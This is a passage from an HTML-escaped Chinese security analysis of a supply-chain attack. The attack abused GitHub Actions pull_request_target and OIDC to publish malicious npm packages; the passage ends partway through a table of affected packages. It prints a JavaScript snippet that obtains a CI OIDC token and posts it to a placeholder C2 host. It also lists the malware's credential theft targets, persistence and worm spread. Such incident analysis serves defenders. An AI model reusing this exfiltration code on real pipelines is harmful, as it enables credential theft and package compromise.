!important;&quot;&gt;窃取AWS/GCP/GitHub/SSH凭证&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-I-15&quot; transform=&quot;translate(443.5625305175781, 763.0000286102295)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-102&quot; y=&quot;-27.000001907348633&quot; width=&quot;204&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-72, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;144&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;安装持久化守护进程&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-J-17&quot; transform=&quot;translate(713.5625457763672, 763.0000286102295)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-118.00001525878906&quot; y=&quot;-27.000001907348633&quot; width=&quot;236.00003051757812&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-88.00001525878906, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;176.00003051757812&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;横向污染其他维护者的包&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;&lt;/div&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;32_GitHub_Actions_OIDC_44&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;3.2 GitHub Actions OIDC机制与漏洞原理&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;GitHub Actions OIDC是GitHub推出的一种安全认证机制，允许工作流在不使用长期访问令牌的情况下，向外部服务（如npm、PyPI、AWS等）进行身份验证。其核心原理是：GitHub作为身份提供者（IdP），会为每个运行中的工作流签发一个短期的JWT令牌，外部服务可以验证这个令牌的真实性并授予相应的权限。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;漏洞的根源在于&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;pull_request_target&lt;/code&gt;事件的设计缺陷&lt;/span&gt;。与普通的&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;pull_request&lt;/code&gt;事件不同，&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;pull_request_target&lt;/code&gt;事件会在目标仓库的上下文中运行，并且拥有读取仓库机密和写入包仓库的权限。攻击者正是利用了这一点，通过提交一个包含恶意代码的PR，触发目标仓库的CI/CD流水线，从而在拥有高权限的环境中执行任意代码。&lt;/p&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;33__50&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;3.3 缓存投毒与令牌窃取技术细节&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;攻击者的恶意代码被巧妙地隐藏在一个看似无害的测试文件中。当流水线执行测试步骤时，恶意代码会被自动运行，并执行以下操作：&lt;/p&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 1.2em; margin-bottom: 24px; padding: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; line-height: 22px; max-height: 340px; border-radius: 5px; overflow-y: hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; background-color: rgb(255, 255, 255);&quot;&gt;//&amp;nbsp;恶意代码核心片段（已脱敏）const&amp;nbsp;fs&amp;nbsp;=&amp;nbsp;require(&amp;#39;fs&amp;#39;);const&amp;nbsp;https&amp;nbsp;=&amp;nbsp;require(&amp;#39;https&amp;#39;);//&amp;nbsp;提取GitHub&amp;nbsp;Actions&amp;nbsp;OIDC令牌const&amp;nbsp;oidcToken&amp;nbsp;=&amp;nbsp;process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN;const&amp;nbsp;oidcUrl&amp;nbsp;=&amp;nbsp;process.env.ACTIONS_ID_TOKEN_REQUEST_URL;//&amp;nbsp;向GitHub请求完整的OIDC令牌https.get(`${oidcUrl}&amp;amp;audience=https://registry.npmjs.org/`,&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;headers:&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;Authorization&amp;#39;:&amp;nbsp;`Bearer&amp;nbsp;${oidcToken}`
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}},&amp;nbsp;(res)&amp;nbsp;=&amp;gt;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;let&amp;nbsp;data&amp;nbsp;=&amp;nbsp;&amp;#39;&amp;#39;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;res.on(&amp;#39;data&amp;#39;,&amp;nbsp;(chunk)&amp;nbsp;=&amp;gt;&amp;nbsp;data&amp;nbsp;+=&amp;nbsp;chunk);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;res.on(&amp;#39;end&amp;#39;,&amp;nbsp;()&amp;nbsp;=&amp;gt;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;const&amp;nbsp;token&amp;nbsp;=&amp;nbsp;JSON.parse(data).value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;将令牌发送到攻击者控制的C2服务器
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;https.post(&amp;#39;https://malicious-c2.com/collect&amp;#39;,&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;headers:&amp;nbsp;{&amp;nbsp;&amp;#39;Content-Type&amp;#39;:&amp;nbsp;&amp;#39;application/json&amp;#39;&amp;nbsp;},
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;body:&amp;nbsp;JSON.stringify({
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;token:&amp;nbsp;token,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repo:&amp;nbsp;process.env.GITHUB_REPOSITORY,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;run_id:&amp;nbsp;process.env.GITHUB_RUN_ID
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;})
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});});&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;获取到OIDC令牌后，攻击者就可以使用npm官方的&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;npm-cli-login&lt;/code&gt;工具，以完全合法的身份登录npm注册表，并发布恶意版本的包。更令人震惊的是，由于这些包是通过官方CI/CD流水线发布的，它们自动获得了&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;SLSA 3级安全签名&lt;/span&gt;，这意味着绝大多数依赖扫描工具都会将其视为&amp;quot;安全可信&amp;quot;的。&lt;/p&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;34__89&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;3.4 恶意代码行为分析&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;攻击者植入的恶意代码被高度混淆，隐藏在&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;router_init.js&lt;/code&gt;文件中，只有在生产环境下才会被激活。其主要行为包括：&lt;/p&gt;&lt;ol style=&quot;box-sizing: border-box; outline: 0px; margin-bottom: 24px; padding: 0px; list-style-position: initial; list-style-image: initial; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;环境检测&lt;/span&gt;：首先检查系统语言，如果是俄语环境则立即终止执行，这表明攻击者可能来自俄语国家或有意避开俄语地区的目标。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;凭证窃取&lt;/span&gt;：递归扫描用户系统中的所有敏感文件，包括：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;box-sizing: border-box; outline: 0px; padding: 0px; list-style-position: initial; list-style-image: initial; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;AWS/GCP/Azure的配置文件和凭证&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;GitHub/GitLab个人访问令牌&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;SSH私钥（&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;~/.ssh/id_*&lt;/code&gt;）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;环境变量中的API密钥和数据库密码&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;加密货币钱包文件&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;持久化机制&lt;/span&gt;：在用户系统中安装一个每分钟运行一次的定时任务，定期向C2服务器发送心跳包，并检查窃取的令牌是否已被撤销。如果令牌仍然有效，则继续窃取更多数据。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;蠕虫化扩散&lt;/span&gt;：使用窃取的GitHub令牌，扫描该用户拥有访问权限的所有仓库，并尝试向这些仓库的CI/CD流水线中植入相同的恶意代码，从而实现横向扩散。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 18px; color: rgb(79, 79, 79); line-height: 28px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;_106&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;四、受影响范围与危害评估&lt;/h3&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;41__108&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;4.1 核心受影响包清单&lt;/h4&gt;&lt;table width=&quot;712&quot;&gt;&lt;thead style=&quot;box-sizing: border-box; outline: 0px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot; class=&quot;firstRow&quot;&gt;&lt;th style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; background-color: rgb(239, 243, 245); word-break: normal !important;&quot;&gt;生态&lt;/th&gt;&lt;th style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; background-color: rgb(239, 243, 245); word-break: normal !important;&quot;&gt;包名&lt;/th&gt;&lt;th style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; background-color: rgb(239, 243, 245); word-break: normal !important;&quot;&gt;恶意版本范围&lt;/th&gt;&lt;th style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; background-color: rgb(239, 243, 245); word-break: normal !important;&quot;&gt;周下载量&lt;/th&gt;&lt;th style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; background-color: rgb(239, 243, 245); word-break: normal !important;&quot;&gt;影响程度&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody style=&quot;box-sizing: border-box; outline: 0px; border: 0px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;npm&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;@tanstack/react-router&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;5.4.0 - 5.4.2&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;1200万+&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;极高&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; background-color: rgb(247, 247, 247); border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;npm&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal 